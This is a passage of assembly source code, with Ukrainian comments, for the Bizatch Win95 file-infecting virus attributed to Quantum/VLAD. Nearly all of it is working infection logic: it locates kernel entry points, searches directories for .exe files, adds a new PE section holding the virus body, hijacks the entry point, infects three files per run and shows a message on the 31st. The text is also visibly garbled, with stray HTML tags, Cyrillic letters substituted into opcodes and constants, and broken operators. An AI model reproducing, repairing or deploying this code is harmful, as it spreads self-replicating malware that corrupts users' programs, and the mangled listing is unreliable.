; в ASCII-форматі за адресою ES: EDI
HexWrite32 proc p>
. Збережемо молодше слово з стека
push eax p>
; Завантажимо старше слово в регістр АХ
shr eax, 16 p>
[Переведемо старше слово в ASCII-формат
call HexWrite-16 p>
[Відновимо молодше слово з стека
pop eax p>
[Переведемо молодше слово в ASCII-формат p>
call HexWrite-16 p>
ret
HexWrite32 endp p>
[Зробимо процедуру WndProc доступною ззовні
public WndProc
ends p>
[Тут починається код вірусу. Цей код переписується з файлу
; у файл. Все описане вище - всього лише програма-носій
vladseg segment para public "vlad" p>
assume cs: vladseg
vstart: p>
; Обчислимо поточну адресу p>
call recalc
recalc: p>
pop ebp p>
mov eax.ebp p>
db 2Dh; Код команди SUB AX
subme dd 30000h + (recalc-vstart) p>
; Збережемо адреса в стеку
push eax p>
[Обчислимо стартовий адреса вірусного коду
sub ebp.offset recalc p>
. Шукаємо KERNEL. Візьмемо другий відому нам точку KERNEL
mov eax, [ebp + offset kern2] p>
Перевіримо ключ. Якщо ключа немає, перейдемо до точки 1
cmp dword ptr [eax], 5350FC9Ch
jnz notkern2 p>
; KERNEL знайдений, точка 2 p>
mov eax, [ebp + offset kern2]
jmp movit p>
; Точка 2 не підійшла, перевіримо точку 1
notkern2: p>
; Візьмемо адреса першої відомої нам точки KERNEL
mov eax, [ebp + offset kern1] p>
Перевіримо ключ, якщо немає ключа - виходимо
cmp dword ptr [eax], 5350FC9Ch
jnz nopayload p>
; KERNEL знайдений, точка 1 p>
mov eax, [ebp + offset kern1] p>
; KERNEL знайдений, адреса точки входу знаходиться в регістрі EAX
movit: p>
. Збережемо адреса KERNEL
mov [ebp + offset kern]. eax
eld p>
; 3апомнім поточну директорію
lea eax, [ebp + offset orgdir]
push eax
push 255
call GetCurDir p>
; Ініціалізіруем лічильник заражень p>
mov byte ptr [ebp + offset countinfect], 0 p>
; Шукаємо перший файл
infectdir: p>
lea eax, [ebp + offset win32_data_thang] p>
push eax p>
lea eax, [ebp + offset fname] p>
push eax p>
call FindFile p>
; Збережемо індекс для пошуку p>
mov dword ptr [ebp + offset searchhandle], eax p>
. Перевіримо, знайдений чи файл. Якщо файл не знайдено,
. Міняємо директорію p>
стр ЕАХ, -1 p>
jz foundnothing p>
[Відкриємо файл для читання і запису
gofile: p>
push Про p>
push dword ptr [ebp + offset fileattr]; FILE_ATTRIBUTE_NORMAL p>
push 3; OPEN_EXISTING p>
push 0 p>
push 0 p>
push 80000000h 40000000 h; GENERIC_READ + GENERIC_WRITE p>
lea eax, [ebp + offset fullname] p>
push eax p>
call CreateFile p>
. Збережемо описувач файлу p>
mov dword ptr [ebp + offset ahandj.eax p>
Перевіримо, не чи відбулася помилка.
. Якщо помилка сталася, шукаємо Наступне фото p>
стр ЕАХ, -1 p>
jz findnextone p>
. Поставимо покажчик позиції читання/запису на полі
; із зсувом РЕ-заголовка p>
push Про p>
push Про p>
push 3Ch p>
push dword ptr [ebp + offset ahand] p>
call SetFilePointer p>
; Вважаємо адреса РЕ-заголовка
push Про p>
lea eax, [ebp + offset bytesread]
push eax
push 4 p>
lea eax, [ebp + offset peheaderoffset]
push eax p>
push dword ptr [ebp + offset ahand]
call ReadFile p>
. Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
push Про
push Про p>
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer p>
; Вважаємо число байт, достатню для обчислення повного розміру
; РЕ-заголовка і таблиці об'єктів p>
push Про p>
lea eax, [ebp + offset bytesread] p>
push eax p>
push 58h p>
lea eax, [ebp + offset peheader] p>
push eax p>
push dword ptr [ebp + offset ahand] p>
call ReadFile p>
[Перевіримо сигнатуру. Якщо її немає, закриваємо
; цей файл і шукаємо наступний p>
cmp dword ptr [ebp + offset peheader], 00004550h; p>
jnz notape p>
. Перевіримо файлу на зараженість. Якщо файл заражений,
; то закриваємо цей файл і шукаємо наступний p>
cmp word ptr [ebp + offset peheader +4 ch], OFOODh p>
jz notape p>
cmp dword ptr [ebp + offset 52], 4000000h p>
jz notape p>
[Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
push Про
push Про p>
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer p>
; Вважаємо весь РЕ-заголовок і таблицю об'єктів
push Про p>
lea eax, [ebp + offset bytesread]
push eax p>
push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax p>
push dword ptr [ebp + offset ahand]
call ReadFile p>
[Встановимо ознака зараження p>
mov word ptr [ebp + offset peheader +4 ch], OFOODh p>
[Знайдемо зсув таблиці об'єктів
xor eax.eax p>
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax, 18h
mov dword ptr [ebp + offset ObjectTableoffset], eax p>
[Обчислимо зміщення останнього (null) об'єкта в таблиці об'єктів
mov esi, dword ptr [ebp + offset ObjectTableoffset]
lea eax, [ebp + offset peheader]
add esi, eax
xor eax.eax p>
mov ax, [ebp + offset numObj]
mov ecx.40 p>
xor edx.edx p>
mul ecx p>
add esi.eax p>
; Збільшимо число об'єктів на 1 p>
inc word ptr [ebp + offset numObj] p>
lea edi, [ebp + offset newobject] p>
xchg edi.esi p>
; Обчислимо відносний віртуальну адресу (Relative Virtual Address
; або RVA) нового об'єкта p>
mov eax, [edi-5 * 8 +8] p>
add eax, [edi-5 * 8 +12] p>
mov ecx.dword ptr [ebp + offset objalign] p>
xor edx.edx p>
div ecx p>
inc eax p>
mul ecx p>
mov dword ptr [ebp + offset RVA], eax p>
; Обчислимо фізичний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize], eax p>
. Обчислимо віртуальний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset objalign]
mov eax.vend-vstart + tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize], eax p>
; Обчислимо фізична зсув нового об'єкта
mov eax, [edi-5 * 8 +20]
add eax, [edi-5 * 8 +16]
mov ecx.dword ptr [ebp + offset filealign]
xor edx.edx
div ecx p>
inc eax p>
mul ecx p>
mov dword ptr [ebp + offset physicaloffset], eax p>
[оновити розмір образу (розмір в пам'яті) файлу p>
mov eax, vend-vstart 1000 h p>
add eax, dword ptr [ebp + offset imagesize] p>
mov ecx, [ebp + offset objalign] p>
xor edx.edx p>
div ecx p>
inc eax p>
mul ecx p>
mov dword ptr [ebp + offset imagesize], eax p>
. скопіюємо новий об'єкт до таблиці об'єктів p>
mov ecx, 10 p>
rep movsd p>
[Обчислимо точку входу RVA p>
mov eax.dword ptr [ebp + offset RVA] p>
mov ebx.dword ptr [ebp + offset entrypointRVA] p>
mov dword ptr [ebp + offset entrypointRVA], eax p>
sub eax.ebx p>
add eax, 5 p>
[Встановимо значення, необхідне для повернення в носій
mov dword ptr [ebp + offset subme], eax p>
[Поставимо покажчик позиції читання/запису на початок РЕ-заголовка
push Про
push Про p>
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer p>
[Запишемо РЕ-заголовок і таблицю об'єктів у файл
push Про p>
lea eax, [ebp + offset bytesread]
push eax p>
push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax p>
push dword ptr [ebp + offset ahand]
call WriteFile p>
[Збільшимо лічильник заражень p>
inc byte ptr [ebp + offset countinfect] h2>
[Поставимо покажчик позиції читання/запису
; з фізичного зміщення нового об'єкта p>
push Про p>
push Про p>
push dword ptr [ebp + offset physicaloffset] p>
push dword ptr [ebp + offset ahand] p>
call SetFilePointer p>
; 3апішем тіло вірусу в новий об'єкт
push Про p>
lea eax, [ebp + offset bytesread]
push eax p>
push vend-vstart
lea eax, [ebp + offset vstart]
push eax p>
push dword ptr [ebp + offset ahand]
call WriteFile p>
[Закриємо файл
notape: p>
push dword ptr [ebp + offset ahand] p>
call CloseFile p>
[Перехід до наступного файлу
findnextone: p>
[Перевіримо, скільки файлів заразили: якщо 3,
; то виходимо, якщо менше - шукаємо наступний p>
cmp byte ptr [ebp + offset countinfect], 3 p>
jz outty p>
; Шукаємо Наступне фото p>
lea eax, [ebp + offset win32_data_thang]
push eax p>
push dword ptr [ebp + offset searchhandle]
call FindNext p>
. Якщо файл знайдено, переходимо до зараження
or eax.eax
jnz gofile p>
; Сюди потрапляємо, якщо файл не знайдено
foundnothing: p>
; Змінимо директорію
Хог еах.еах p>
lea edi, [ebp + offset tempdir]
mov ecx, 256/4
rep stosd p>
lea edi, [ebp + offset tempdirl]
mov ecx.256/4
rep stosd p>
Отримаємо поточну директорію
lea esi, [ebp + offset tempdir]
push esi
push 255
call GetCurDir p>
. Змінимо директорію на "." p>
lea eax, [ebp + offset dotdot] p>
push eax p>
call SetCurDir p>
; Отримаємо поточну директорію
lea edi, [ebp + offset tempdirl]
push edi
push 255
call GetCurDir p>
Перевіримо, чи це коренева директорія. Якщо так, то виходимо
mov есх.256/4
rep cmpsd
jnz infectdir p>
; "3аметаем сліди" і виходимо до програми-носій
outty: p>
; Повернемося в оригінальну поточну директорію
lea eax, [ebp + offset orgdir]
push eax
call SetCurDir p>
Отримаємо поточну дату і час p>
lea eax, [ebp + offset systimestruct] p>
push eax
call GetTime p>
Перевіримо число. Якщо це 31-е, видаємо повідомлення
cmp word ptr [ebp + offset day], 31
jnz nopayload p>
. Повідомлення для користувача p>
push 1000h; MB_SYSTEMMODAL p>
lea eax, [ebp + offset boxtitle] p>
push eax p>
lea eax, [ebp + offset boxmsg] p>
push eax p>
push 0 p>
call MsgBox p>
; Вихід у програму-носій
nopayload: p>
pop eax p>
jmp eax p>
; Якщо KERNEL буде виявлений, його зміщення буде записано
kern dd OBFF93B95h p>
; 3наченія KERNEL, відомі нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh p>
; Читання поточній директорії
GetCurDir: p>
; 3апішем в стек значення для отримання поточної
директорії і викличемо KERNEL p>
push OBFF77744h p>
jmp [ebp + offset kern] p>
. Установка поточної директорії
SetCurDir: p>
; 3апішем в стек значення для встановлення поточної
директорії і викличемо KERNEL p>
push OBFF7771Dh p>
jmp [ebp + offset kern] p>
[Отримання часу та дати
GetTime: p>
Перевіримо, який KERNEL працює
cmp [ebp + offset kern], OBFF93B95h
jnz gettimekern2 p>
; 3апішем в стек значення для отримання
; часу та дати і викличемо KERNEL p>
push OBFF9DOB6h p>
jmp [ebp + offset kern]
gettimekern2: p>
; 3апішемії в стек значення для отримання
; часу та дати і викличемо KERNEL p>
push OBFF9D-l4Eh p>
jmp [ebp + offset kern] p>
; Висновок повідомлення
MsgBox: p>
. Запишемо в стек значення для виведення повідомлення та викличемо KERNEL
push OBFF638D9h
jmp [ebp + offset kern] p>
. Пошук першого файлу
FindFile: p>
; 3апішем в стек значення для пошуку першого файлу
; і викличемо KERNEL p>
push OBFF77893h p>
jmp [ebp + offset kern] p>
; Пошук наступного файлу
FindNext: p>
; 3апішем в стек значення для пошуку
[наступного файлу і викличемо KERNEL p>
push OBFF778CBh p>
jmp [ebp + offset kern] p>
[Відкриття/створення файлу
CreateFile: p>
; 3апішем в стек значення для відкриття/створення файлу
; і викличемо KERNEL p>
push OBFF77817h p>
jmp [ebp + offset kern] p>
[Установка покажчика читання/запису
SetFilePointer: p>
; 3апішем в стек значення для встановлення
. покажчика читання/запису файлу і викличемо KERNEL p>
push OBFF76FAOh p>
jmp [ebp + offset kern] p>
; Читання з файлу
ReadFile: p>
; 3апішем в стек значення для читання з файлу і викличемо KERNEL
push OBFF75806h
jmp [ebp + offset kern] p>
; 3апісь в файл
WriteFile: p>
; 3апішем в стек значення для запису у файл і викличемо KERNEL
push OBFF7580Dh
jmp [ebp + offset kern] p>
; 3акритіе файлу
CloseFile: p>
; 3апішем в стек значення для закриття файлу і викличемо KERNEL
push OBFF7BC72h
jmp [ebp + offset kern] p>
; Лічильник заражень
countinfect db 0 p>
Використовується для пошуку файлів
win32_data_thang: p>
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0 p>
resv dd 0,0 p>
fullname db 256 dup (0) p>
realname db 256 dup (0) p>
; Назва повідомлення, що виводиться 31-го числа
boxtitle db "Bizatch by Quantum/VLAD", 0 p>
.- Повідомлення, що виводиться 31-го числа
boxmsg db "The taste of fame just got tastier!", Odh p>
db "VLAD Australia does it again with the world" s first Win95 Virus " p>
db Odh.Odh p>
db 9. "From the old school to the new.". Odh.Odh p>
db 9, "Metabolis", Odh p>
db 9, "Qark", Odh p>
db 9, "Darkman", Odh p>
db 9, "Quantum", Odh p>
db 9, "CoKe", 0
messagetostupidavers db "Please note: the name of this virus is
[Bizatch] " p>
db "written by Quantum of VLAD", 0 p>
Дані про директоріях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0) p>
Використовується для зміни директорії
dotdot db ".", 0 p>
Використовується для отримання часу/дати
systimestruct: p>
dw 0,0,0
day dw 0 p>
dw 0,0,0,0 p>
; Індекс для пошуку файлів
searchhandle dd Про p>
; Маска для пошуку
fname db "*. exe", 0 p>
; Описувач відкритого файлу
ahand dd Про p>
; Зсув РЕ-заголовка у файлі
peheaderoffset dd Про p>
[Зсув таблиці об'єктів
ObjectTableoffset dd Про p>
[Кількість записаних/лічених байт при роботі з файлом
bytesread dd Про p>
. Новий об'єкт
newobject: p>
oname db ". vlad", 0,0,0
virtualsize dd 0
RVA dd 0 p>
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h, 0,0, OCOh p>
Дані, необхідні для зараження файлу
peheader: p>
signature dd 0
cputype dw 0
numObj dw 0
db 3 * 4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4 * 4 dup (0)
entrypointRVA dd 0
db 3 * 4 dup (0)
objalign dd 0
filealign dd 0
db 4 * 4 dup (0)
imagesize dd 0
headersize dd 0 p>
; 0бласть пам'яті для читання залишку РЕ-заголовка і таблиці об'єктів
vend: p>
db-lOOOh dup (0)
ends
end vstart p>